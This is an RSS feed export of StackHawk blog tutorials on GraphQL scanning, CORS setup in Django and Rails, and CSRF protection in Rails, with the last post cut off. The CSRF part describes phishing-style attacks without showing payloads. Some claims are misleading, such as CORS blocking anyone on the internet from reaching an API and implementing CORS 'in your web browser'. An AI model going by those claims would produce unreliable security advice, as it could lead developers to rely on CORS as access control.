benefits in the form of faster scans with less false positives.&lt;/p&gt;&lt;p&gt;The first is the `app.autoPolicy` flag. When this flag is turned on, the scanner will pull an optimized scan policy, specific to GraphQL. With this in place, StackHawk pulls the correct tests to run for your GraphQL API, and ones that are irrelevant will automatically be skipped. &lt;/p&gt;&lt;p&gt;The second is the `app.autoInputVectors` flag. With this configuration option, the scanner will only send JSON requests to your GraphQL API. This means the API will be invoked correctly, less requests will have to be sent to effectively test for vulnerabilities, and malformed requests won&amp;#39;t cause your scan to error out. &lt;/p&gt;&lt;p&gt;Fixing Faster, Built for Devs&lt;/p&gt;&lt;p&gt;Typically DAST scanners work by identifying vulnerabilities on a given route. This works well for web apps and can be helpful for other types of APIs, like REST or SOAP.&lt;/p&gt;&lt;p&gt;But since every query is sent to the same URL path in GraphQL, this approach doesn’t help teams effectively troubleshoot.&lt;/p&gt;&lt;p&gt;We have made huge platform improvements to surface findings information in a GraphQL friendly way.&lt;/p&gt;&lt;p&gt;When we find a vulnerability, the scanner does the work to inspect your schema and identify which exact query or mutation is causing the vulnerability.&lt;/p&gt;&lt;p&gt;These details are then surfaced in the StackHawk platform, showing the operation, operation name, and response/request information.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Like with other StackHawk findings, users can recreate the vulnerability with a cURL command in their IDE.&lt;/p&gt;&lt;h4&gt;Start Scanning Your GraphQL API&lt;/h4&gt;&lt;p&gt;Use these updates and get scanning!&lt;/p&gt;&lt;p&gt;We have tons of &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/graphql-configuration.html&quot;&gt;&lt;u&gt;GraphQL specific docs&lt;/u&gt;&lt;/a&gt; to support you in delivering secure GraphQL backed applications, and we have a best-in-class support team made up of GraphQL whizzes.&lt;/p&gt;&lt;p&gt;If you are looking for more hands-on resources, make sure to register for our upcoming &lt;a href=&quot;https://stackhawk.zoom.us/webinar/register/6016228514691/WN_MxKY4N4FQemlXzlXCpjx5Q&quot;&gt;&lt;u&gt;GraphQL AppSec learning lab&lt;/u&gt;&lt;/a&gt;, where we will walk through how to scan intentionally vulnerable GraphQL APIs, step by step.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Django CORS Guide: What It Is and How to Enable It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/django-cors-guide</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Django is a Python web framework that allows rapid web application development. Apps developed in Django may need to interact with other applications hosted on different domains (or even just different ports). For these requests to succeed, you’ll need to use cross-origin resource sharing (CORS) in your server.&lt;/p&gt;&lt;p&gt;Luckily, in Django there’s already a module that’s easy to install and configure to allow CORS requests and avoid errors. So, if you want to know more about CORS and how to enable it in your Django server, be sure to keep reading.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;What Is CORS?&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;CORS is a mechanism to allow interaction with resources hosted on different domains. For instance, one of the most common scenarios to apply it is with Ajax requests.&lt;/p&gt;&lt;p&gt;In order to illustrate how CORS works, let’s assume you have a web application that lives in &lt;b&gt;domain.com&lt;/b&gt;. But, to save user information, the app calls an API hosted in another URL—for example, &lt;b&gt;api.domain.com&lt;/b&gt;. So, when a request to save data is sent to &lt;b&gt;api.domain.com&lt;/b&gt;, the server evaluates the requests based on its headers and the request’s source.&lt;/p&gt;&lt;p&gt;If you allow the URL &lt;b&gt;domain.com&lt;/b&gt; in the server, it will provide the proper response. If the domain is not allowed, the server provides an error. This information exchange occurs using HTTP headers.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Errors Involving CORS&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;CORS is a security feature that web clients (browsers) implement that can make requests to a specific server to fail. Some  possible server responses may include&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;An unauthorized status (403)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;An error in a preflight request indicating which URLs can send CORS requests&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;As a clarification, a preflight request is a petition that browsers send to the server to discover what HTTP methods it accepts in requests. Then, the server can return an error status and a list of CORS-enabled URLs. If the server doesn’t include the domain making the request, the browser won’t even perform the actual data request.&lt;/p&gt;&lt;p&gt;As a rule of thumb, if you’re dealing with different domains, remember to be on the lookout for CORS issues. Also remember that using a different HTTP protocol or even a different port counts as a different domain. But there’s no need to worry, as current browsers’ tools are very helpful when diagnosing these issues.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Enabling CORS in Django&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Since Django is a web framework, it’s very simple to enable CORS. So, here are the steps you must take to do so.&lt;/p&gt;&lt;p&gt;Install the CORS &lt;a href=&quot;https://github.com/adamchainz/django-cors-headers&quot;&gt;module&lt;/a&gt;:&lt;/p&gt;&lt;p&gt;&lt;code&gt;python -m pip install django-cors-headers&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Once that’s done, enable the module in Django. This is done in the installed apps section. Oh, and don’t forget the trailing comma; otherwise, you’ll get an error.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Next, add the middleware classes to listen in on server responses. Middleware classes hook on Django’s request/response processing. You can think of it as a plugin system to modify Django’s input or output.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;I’d recommend that you place the class &lt;code&gt;&lt;b&gt;CorsMiddleware&lt;/b&gt;&lt;/code&gt; before any other middleware that can generate responses, such as &lt;code&gt;&lt;b&gt;CommonMiddleware&lt;/b&gt;&lt;/code&gt;. This is because any other class may prevent the module from generating the appropriate CORS headers.&lt;/p&gt;&lt;p&gt;Finally, configure at least one of the required settings and any of the optional settings that you’d like to. Let’s review those settings and the purpose of each in the next sections.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Required Settings&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Required settings tell the module how to evaluate a request’s origin. From there, the module decides, based on the settings you defined, if the origin is valid in order to continue processing the request and to provide a response.&lt;/p&gt;&lt;p&gt;You can set the module to allow requests from specific domains, regular expressions, or all requests. What options you should configure will depend on your back end’s purpose. Sometimes all origins are valid, but in other cases, you’ll need to narrow them to only a few, as shown below.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;CORS_ALLOWED_ORIGINS&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;CORS_ALLOWED_ORIGINS&lt;/b&gt;&lt;/code&gt; is the list of origins authorized to make requests. For example, below I’ve specified four origins:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h4&gt;&lt;b&gt;CORS_ALLOWED_ORIGIN_REGEXES&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;CORS_ALLOWED_ORIGIN_REGEXES&lt;/b&gt;&lt;/code&gt; are regular expressions that match domains that can make requests. This setting is especially useful if you have many domains.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h4&gt;&lt;b&gt;CORS_ALLOW_ALL_ORIGINS&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;The &lt;code&gt;&lt;b&gt;CORS_ALLOW_ALL_ORIGINS&lt;/b&gt;&lt;/code&gt; setting accepts only true or false. If true, the server will accept all requests. However, for security purposes, it’s better to use one of the above settings to limit valid request sources.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Optional Parameters&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;The optional parameters already have default values, which are valid in most situations. But if you need additional fine-grained permissions, these settings are the way to go. With them, you can restrict CORS responses according to URLs. Also, you can allow specific actions (&lt;code&gt;GET&lt;/code&gt;, &lt;code&gt;POST&lt;/code&gt;, &lt;code&gt;PUT&lt;/code&gt;, etc.), specific headers for requests, or even cookies. Let’s review the parameters.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;CORS_URLS_REGEX&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;The &lt;code&gt;&lt;b&gt;CORS_URLS_REGEX&lt;/b&gt;&lt;/code&gt; setting restricts which URLs the server will send CORS headers to. It’s useful, for example, when you just want to send headers on part of your site. Here’s an example:&lt;/p&gt;&lt;p&gt;&lt;code&gt;CORS_URLS_REGEX = r&amp;#39;^/api/.*$&amp;#39;&lt;/code&gt;&lt;/p&gt;&lt;h4&gt;&lt;b&gt;CORS_ALLOW_METHODS&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;The &lt;code&gt;&lt;b&gt;CORS_ALLOW_METHODS&lt;/b&gt;&lt;/code&gt; setting limits what methods are allowed for CORS. These are the default values:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h4&gt;&lt;b&gt;CORS_ALLOW_HEADERS&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;CORS_ALLOW_HEADERS&lt;/b&gt;&lt;/code&gt; is a list of non-standard headers allowed in the request. The default value is below:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h4&gt;&lt;b&gt;CORS_EXPOSE_HEADERS&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;CORS_EXPOSE_HEADERS&lt;/b&gt;&lt;/code&gt; is a list of headers exposed to the browser. The default is an empty array.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;CORS_PREFLIGHT_MAX_AGE&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;The &lt;code&gt;&lt;b&gt;CORS_PREFLIGHT_MAX_AGE&lt;/b&gt;&lt;/code&gt; setting defines the time in seconds a browser can cache a header response to a preflight request. It defaults to 86,400 seconds (one day).&lt;/p&gt;&lt;h4&gt;&lt;b&gt;CORS_ALLOW_CREDENTIALS&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;CORS_ALLOW_CREDENTIALS&lt;/b&gt;&lt;/code&gt; is a true or false value. So, its value determines whether the server allows cookies in the cross-site HTTP requests.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h4&gt;&lt;b&gt;Final Thoughts&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;As you’ve seen in this post, CORS is a security feature designed to protect the user from malicious websites. In this case, the protection is to allow only specific domains to perform CORS requests. Thus, back-end servers require the proper configuration to accept such requests.&lt;/p&gt;&lt;p&gt;Nevertheless, this feature sometimes can get in the way during your project’s development process. To configure a development environment, you need to consider the security restrictions CORS requires. That makes it a bit tricky. But once you configure it correctly, you can forget all about it.&lt;/p&gt;&lt;p&gt;Still, don’t forget to disable it if all your requests will originate from the same domain once you deploy your app in production. Otherwise, make sure you configure it properly to avoid unexpected errors. As I explained above, for Django, this step is very easy to perform.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Pablo Macias Gonzalez.&lt;/i&gt; &lt;a href=&quot;https://www.linkedin.com/in/jpmaciasg/&quot;&gt;&lt;i&gt;Juan&lt;/i&gt;&lt;/a&gt; &lt;i&gt;is a computer systems engineer with experience in backend, frontend, databases and systems administration.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Rails CORS Guide: What It Is and How to Enable It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/rails-cors-guide</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Cross-origin resource sharing (CORS) is a great security mechanism that every web application developer should know about. Whenever you’ll be exposing some application programming interface to the internet, make sure to implement CORS.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;How Does CORS Work?&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;In short, &lt;a href=&quot;https://en.wikipedia.org/wiki/Cross-origin_resource_sharing&quot;&gt;CORS&lt;/a&gt; is an HTTP-header based security mechanism that defines who’s allowed to interact with your API. CORS is built into all modern web browsers, so in this case the “client” is a front-end of the application. &lt;/p&gt;&lt;p&gt;In the most simple scenario, CORS will block all requests from a different origin than your API. “Origin” in this case is the combination of protocol, domain, and port. If any of these three will be different between the front end and your Rails application, then CORS won’t allow the client to connect to the API. &lt;/p&gt;&lt;p&gt;So, for example, if your front end is running at &lt;a href=&quot;https://example.com:443&quot;&gt;https://example.com:443&lt;/a&gt; and your Rails application is running at &lt;a href=&quot;https://example.com:3000&quot;&gt;https://example.com:3000&lt;/a&gt;, then CORS will block the connections from the front end to the Rails API. CORS will do so even if they both run on the same server. &lt;/p&gt;&lt;p&gt;In this post, you’ll learn how to check if CORS is blocking you and how to implement it properly in Rails. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;How Do I Know If CORS Is Blocking Me?&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;First things first. The fact that CORS is blocking you may not always be obvious. You won’t see “blocked by CORS” on your website. &lt;/p&gt;&lt;p&gt;Depending on how your front end was built, you may either just miss some data or you may get some general error. However, you’ll see that exact message— “blocked by CORS”—in the web browser developer console. &lt;/p&gt;&lt;p&gt;So, to find out if that is indeed a CORS issue, open your web browser DevTools and go to Console. There, you should see a message similar to this: &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;quot;Access to XMLHttpRequest at (...) from origin (...) has been blocked by CORS policy&amp;quot;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;If you see that, then you’re definitely dealing with the wrong CORS configuration. &lt;/p&gt;&lt;p&gt;How can you solve it? Read on… &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Rails CORS&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Fortunately, configuring CORS in the Rails application is pretty simple. Before we dive into that, however, you’ll need to clarify one thing. You’ll need to configure CORS only when you’re using Rails as an API. If you build traditional Ruby on Rails monolith applications, you won’t need to do that. &lt;/p&gt;&lt;p&gt;Why? As you learned at the beginning of this post, CORS blocks calls from different origins. In the case of a monolith Ruby on Rails application, both front end and back end are at the same origin. &lt;/p&gt;&lt;p&gt;But when you use the Rails application only as an API, then you’ll have another application running as a front end. That’s when you’ll need to configure Rails to allow that front-end application to connect. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Using rack-cors&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The easiest way to configure CORS on your Rails app is to use &lt;a href=&quot;https://github.com/cyu/rack-cors&quot;&gt;rack-cors gem&lt;/a&gt;. You can install it like any other gem, by executing: &lt;/p&gt;&lt;p&gt;&lt;code&gt;gem install rack-cors&lt;/code&gt;&lt;/p&gt;&lt;p&gt;or by adding the following line into your Gemfile: &lt;/p&gt;&lt;p&gt;&lt;code&gt;gem &amp;#39;rack-cors&amp;#39;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Next, you need to provide the configuration for the gem. You need to inform Rails which origin it should allow. To do that, you need to create a new initializer for your application. &lt;/p&gt;&lt;p&gt;The content of the &lt;b&gt;config/initializers/cors.rb&lt;/b&gt; should be the following: &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The above configuration will allow &lt;code&gt;HTTP GET&lt;/code&gt; and &lt;code&gt;HTTP POST&lt;/code&gt; calls from example.com to your Rails application. You can also configure separate CORS rules per endpoint. For example: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This configuration will only allow &lt;code&gt;HTTP POST&lt;/code&gt; calls to &lt;b&gt;/order&lt;/b&gt; endpoint and all HTTP methods to any other endpoint. &lt;/p&gt;&lt;p&gt;You need to pay close attention to the &lt;b&gt;origins&lt;/b&gt; parameter. Remember that CORS needs to match protocol, domain, and port. You’ll need to specify all three correctly. So if you put &lt;a href=&quot;http://example.com:80&quot;&gt;&lt;b&gt;http://example.com:80&lt;/b&gt;&lt;/a&gt;, but the call will come from &lt;a href=&quot;http://example.com:8080&quot;&gt;&lt;b&gt;http://example.com:8080&lt;/b&gt;&lt;/a&gt; or &lt;a href=&quot;https://example.com:443&quot;&gt;&lt;b&gt;https://example.com:443&lt;/b&gt;&lt;/a&gt;, then you’ll still get blocked. &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;You may also find articles with a recommendation to specify &lt;b&gt;origins ‘*’&lt;/b&gt;. This would indeed allow you to “solve the CORS problem.” But in general, this allows anyone on the internet to connect to your application programming interface!&lt;/p&gt;&lt;/blockquote&gt;&lt;h3&gt;&lt;b&gt;Misconfiguration&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;You may also find articles with a recommendation to specify &lt;b&gt;origins ‘*’&lt;/b&gt;. This would indeed allow you to “solve the CORS problem.” But in general, this allows anyone on the internet to connect to your application programming interface! So it’s a security risk. &lt;/p&gt;&lt;p&gt;Unless your API should be by design open to anyone, you really shouldn’t set wildcard as an origin. You also need to be careful when using regex for &lt;b&gt;origins&lt;/b&gt; parameter. Let’s say you want to match a few domains—for example, yourdomain.com, yourdomain.net, yourdomain.biz, and so on. In that case, you need to make sure that your regex isn’t too inclusive. So, you can try something like this: &lt;/p&gt;&lt;p&gt;&lt;code&gt;/http:\/\/example\.com/&lt;/code&gt;&lt;/p&gt;&lt;p&gt;This would not only allow all your domains but also permit anything else, like &lt;b&gt;example.com.anydomain.com&lt;/b&gt;. And that could lead to another security risk. &lt;/p&gt;&lt;p&gt;&lt;b&gt;rack-cors&lt;/b&gt; also supports a few additional options. For any endpoint, you can configure the following: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;methods&lt;/b&gt;—As you’ve seen above, &lt;b&gt;methods&lt;/b&gt; allows you to specify which HTTP methods you’ll allow.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;headers&lt;/b&gt;—Here, you can specify which headers you’ll allow for the endpoint. Use &lt;b&gt;:any&lt;/b&gt; to allow any headers.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;credentials&lt;/b&gt;—This parameter can take true or false values. It’s necessary when you’re making HTTP calls to the API with credentials included. Keep in mind that this option isn’t allowed when you set the origin as &lt;b&gt;‘*’&lt;/b&gt;. But as explained earlier in the post, you shouldn’t do that anyway unless you really have a use case for it.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;if&lt;/b&gt;—This option allows you to control when CORS will activate. You can create a normal Ruby &lt;b&gt;if…else&lt;/b&gt; condition here, for example, to disable CORS on your development environment.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;There are a few more options you can use, but they’re less common. You can check the &lt;a href=&quot;https://github.com/cyu/rack-cors&quot;&gt;rack-cors github page&lt;/a&gt; for the full documentation. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Middleware Positioning and Static Files&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Another thing to keep in mind is the positioning of the &lt;b&gt;Rack::Cors&lt;/b&gt; &lt;a href=&quot;https://en.wikipedia.org/wiki/Middleware&quot;&gt;middleware&lt;/a&gt;. You need to make sure that you implement CORS middleware above any other middleware. Putting it after certain caching or authentication middlewares can lead to issues. &lt;/p&gt;&lt;p&gt;Last but not least: If you try to serve &lt;a href=&quot;https://guides.rubyonrails.org/asset_pipeline.html&quot;&gt;static files&lt;/a&gt; (such as assets), be mindful that these aren’t usually served by Rails. Instead, they’re served by the external web server. In such a case, you have two options. You can enable serving static assets via Rails (which isn’t recommended), or you can implement CORS separately in your web browser. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;&lt;b&gt;Configuring With CORS and Beyond&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;As you can see, once you understand CORS, it’s not that difficult to use. It’s actually a very good and easy-to-implement security mechanism. If you’ll take a moment to properly configure it (and by properly, we mean not setting wildcard origins), you’ll be doing yourself a favor. &lt;/p&gt;&lt;p&gt;In this post, you got a brief explanation of what CORS is. But this post was focused on CORS implementation in Rails applications.&lt;/p&gt;&lt;p&gt;And once you secure your Rails application with CORS, it’s time to start thinking about other security improvements. For example, what about SQL injection protection? You can read about &lt;a href=&quot;https://www.stackhawk.com/blog/sql-injection-prevention-rails/&quot;&gt;how to prevent SQL injection attacks in Rails applications&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Dawid Ziolkowski.&lt;/i&gt; &lt;a href=&quot;https://medium.com/@dawid.ziolkowski&quot;&gt;&lt;i&gt;Dawid&lt;/i&gt;&lt;/a&gt; &lt;i&gt;has 10 years of experience as a Network/System Engineer at the beginning, DevOps in between, Cloud Native Engineer recently. He’s worked for an IT outsourcing company, a research institute, telco, a hosting company, and a consultancy company, so he’s gathered a lot of knowledge from different perspectives. Nowadays he’s helping companies move to cloud and/or redesign their infrastructure for a more Cloud Native approach.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Rails CSRF Protection Guide: Examples and How to Enable]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/rails-csrf-protection-guide</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Rails is a very healthy and mature platform for developers to use. Its prolific community and extensive documentation keep developers’ work sharp and robust. This robustness is essential when keeping platforms protected against potential vulnerabilities and exploits. &lt;a href=&quot;https://owasp.org/www-community/attacks/csrf&quot;&gt;Cross-site request forgery&lt;/a&gt;, also known as CSRF or XSRF, is one such vulnerability. &lt;/p&gt;&lt;p&gt;You might be wondering how you can keep your platform secure to make sure no bad actors have an opportunity to exploit vulnerabilities in the system. &lt;/p&gt;&lt;p&gt;Our intention with this post is to inform you about CSRF vulnerabilities and how to mitigate them in Rails applications. &lt;/p&gt;&lt;p&gt;By the end, you can expect to know what they look like, why it’s crucial to be aware of them, and how to prevent them from affecting your business. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;&lt;b&gt;What Is CSRF?&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;If you’ve never heard of CSRF, XSRF, cross-site request forgery, or any variation of what this acronym describes, then let us give you a quick rundown. &lt;/p&gt;&lt;p&gt;Cross-site request forgery is an attack that takes advantage of the end user’s privileges over their session. As the name suggests, the attacker sidesteps most security measures by tricking the user into submitting a forged request (GET, POST, or PUT, for example) with malicious content from outside the target site. &lt;/p&gt;&lt;p&gt;Most CSRF attacks take advantage of the user’s inability to discern if a harmless element contains malicious code. Bad actors mask these elements using social engineering tactics like chat or emails. These exploits come from seemingly trusted sources, hijacking the user’s trust. &lt;/p&gt;&lt;p&gt;When the user clicks on one of these links, a targeted URL can execute a change in the database (email change, bank transfer, etc.) to a vulnerable web application where the user currently has a session open. This could be as simple as just having a tab open with the target website while you’re logged in. &lt;/p&gt;&lt;p&gt;CSRF attacks are some of the most widespread forms of malicious exploits on the web. Web platforms are exposed to them daily, and countless unsuspecting users fall prey to their predatory tricks. &lt;/p&gt;&lt;p&gt;Moreover, no platform can be entirely impervious since the attack can always hijack a valid end user’s authentication to reach the system. We can’t close all the doors of access without taking away convenience from a valid end user. &lt;/p&gt;&lt;p&gt;For this reason, it’s imperative to make sure that we as developers, take all measures necessary to reduce the avenues of attack. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Examples of Attacks&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Now, you might be wondering what a CSRF attack looks like in the wild. Well, let’s explore some examples. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;The Horny Fish&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;An unsuspecting bank account user receives an email from a seemingly trusted party while they have an open session in the browser. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Well, this seems innocent enough, right? Let’s take a closer look at that link. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Uh-oh! That’s a no-no. &lt;/p&gt;&lt;p&gt;As you can see, average users seldom bother to check the actual URL of a hyperlink—regardless of its origin. This makes them easy targets to this kind of attack. &lt;/p&gt;&lt;p&gt;These exploits are widespread in phishing attacks and more sophisticated social engineering attacks. Even the most trained engineers can fall victim to simple attacks like this.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;The Curious Seller&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;In a similar situation, a sales representative of some company receives an email at work — while they have their system tools open — with an attractive headline and promise of reward. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;All right, that seems legitimate. Let’s check it out. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Our victim sees this email, and at first glance, it seems legitimate. They then proceed to click on the link, only to see a blank screen. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Wait, where’s the content? What happened? &lt;/p&gt;&lt;p&gt;It might seem like this is a case of “Oops! The CRM system sent an invalid link to a broken page.” However, once you start checking things like the sender’s email address, this seemingly trustworthy email starts falling apart on close examination. &lt;/p&gt;&lt;p&gt;Let’s check what’s under the hood. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;No! Roxxx strikes again! And this time, the victim didn’t even see it coming. &lt;/p&gt;&lt;p&gt;This exploit is especially concerning because the attacker could be targeting administrative users and cause significant harm to a business and its infrastructure with a little more sophistication. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;How to Prevent CSRF Attacks&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;All right, we’ve seen how creative attackers can find ways to exploit other people’s valid sessions by hiding their malicious code in harmless-looking elements and inviting users to trigger an action. And all this is done by hijacking people’s trust with sly social engineering tactics. &lt;/p&gt;&lt;p&gt;So, how can we protect our systems and our users from these exploits? &lt;/p&gt;&lt;p&gt;There are several ways we can mitigate the risk of exploitation from the platform perspective. Let’s go through them in the context of a Rails website. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;Routing Structure&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;First, we need to reevaluate how we design the routing structure of our website. The first attack was successful because the system accepted a state-changing action with a &lt;code&gt;GET&lt;/code&gt; request. This structure is already a bad practice that should be avoided even outside the scope of security. &lt;/p&gt;&lt;p&gt;To fix this, change the route file and set the application’s action to accept a &lt;code&gt;POST&lt;/code&gt;, &lt;code&gt;PUT&lt;/code&gt;, or any other protocol depending on the type of action that will be performed. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;However, it’s essential to point out that this strategy will not protect us from the second attack since it comes from a form tag submitting a POST automatically by JavaScript. In this case, our user didn’t even get a chance to understand what was going on. &lt;/p&gt;&lt;p&gt;Additionally, the attacker can adapt this kind of exploit to work with a JavaScript Ajax request and submit any form of protocol or parameters necessary to achieve the attacker’s goal. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;Action Confirmation&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Second, it’s recommended—but not always necessary—to implement a confirmation mechanism into any critical state-changing action. This design-based security feature is generally adopted on admin systems and account management portals. &lt;/p&gt;&lt;p&gt;For this fix, implement a middle step between critical actions to require the user to confirm the action to perform. &lt;/p&gt;&lt;p&gt;This mechanism would typically allow the victim to have a chance to cancel a potentially malicious attack from submitting to the server. However, some users might find this multistep process cumbersome and tedious in systems that require frequent changes from the user. That’s why some systems choose to do without it. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;Origin Confirmation&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Third, it goes without saying, but you must always confirm the origin of any request submitted to your server. Be it by the &lt;code&gt;REFERRER&lt;/code&gt; info found on the request &lt;code&gt;HEADER&lt;/code&gt; or any other method, you can use this simple tactic to weed out much potential damage. &lt;/p&gt;&lt;p&gt;To enable this, you can use gems like &lt;b&gt;rack-cors&lt;/b&gt; that work as gatekeeper middleware, preventing invalid requests from being processed. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Incidentally, your system might require you to accept requests from origins outside your domain, which is very common. Still, you can have a set of whitelisted sources the server validates and mitigate the risks. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Rails CSRF Token&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Finally, the most robust mitigation strategy available in our arsenal is using CSRF tokens. The server generates these tokens, links them to the user session, and stores them in the database. &lt;/p&gt;&lt;p&gt;This token is then injected into any form presented to the client as a hidden field. When the client correctly submits the form for validation, it passes the token back to the server. &lt;/p&gt;&lt;p&gt;Rails already has this security mechanism included in its &lt;code&gt;&lt;b&gt;ActionController&lt;/b&gt;&lt;/code&gt; module under the &lt;code&gt;&lt;b&gt;RequestForgeryProtection&lt;/b&gt;&lt;/code&gt; class. &lt;/p&gt;&lt;p&gt;To activate it, you need to include the following line in the &lt;code&gt;&lt;b&gt;ApplicationController&lt;/b&gt;&lt;/code&gt; class: &lt;/p&gt;&lt;p&gt;&lt;code&gt;protect_from_forgery with: :null_session&lt;/code&gt;&lt;/p&gt;&lt;p&gt;You can choose what kind of action to perform when the server finds an offending request: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;null_session&lt;/b&gt;&lt;/code&gt;: Provides an empty session during request but doesn’t reset it completely. (This is the default action if none is specified.)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;reset_session&lt;/b&gt;&lt;/code&gt;: Resets the session.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;exception&lt;/b&gt;&lt;/code&gt;: Raises an &lt;code&gt;&lt;b&gt;ActionController::InvalidAuthenticityToken&lt;/b&gt;&lt;/code&gt; 